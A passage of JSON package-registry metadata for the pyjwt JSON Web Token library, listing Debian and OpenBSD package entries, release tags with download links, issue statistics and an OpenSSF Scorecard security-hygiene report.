github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.188Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/pyjwt?arch=source\u0026distro=debian-11\u0026repository_url=https://packages.debian.org/bullseye","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"debian-11","url":"https://packages.debian.org/bullseye","ecosystem":"debian","default":false,"packages_count":31268,"maintainers_count":0,"namespaces_count":3,"keywords_count":764,"github":"debian","metadata":{"codename":"bullseye","funded_packages_count":100},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.702Z","updated_at":"2026-06-10T05:17:51.942Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/namespaces"}},{"id":14548953,"name":"www/py-jwt","ecosystem":"openbsd","description":"JSON Web Token implementation in Python","homepage":"http://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"www","versions_count":1,"first_release_published_at":"2026-04-25T13:29:20.000Z","latest_release_published_at":"2026-04-25T13:29:20.000Z","latest_release_number":"2.10.1","last_synced_at":"2026-05-28T01:10:10.769Z","created_at":"2026-05-28T01:10:10.563Z","updated_at":"2026-05-29T04:00:36.573Z","registry_url":"https://cvsweb.openbsd.org/cgi-bin/cvsweb/ports/www/py-jwt/","install_command":"pkg_add py3-jwt-2.10.1","documentation_url":null,"metadata":{"pkgstem":"py3-jwt","fullpkgname":"py3-jwt-2.10.1","subpackage":"-"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-05-29T04:00:36.573Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:openbsd/www/py-jwt?arch=amd64","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/openbsd/www/py-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/openbsd/www/py-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/openbsd/www/py-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_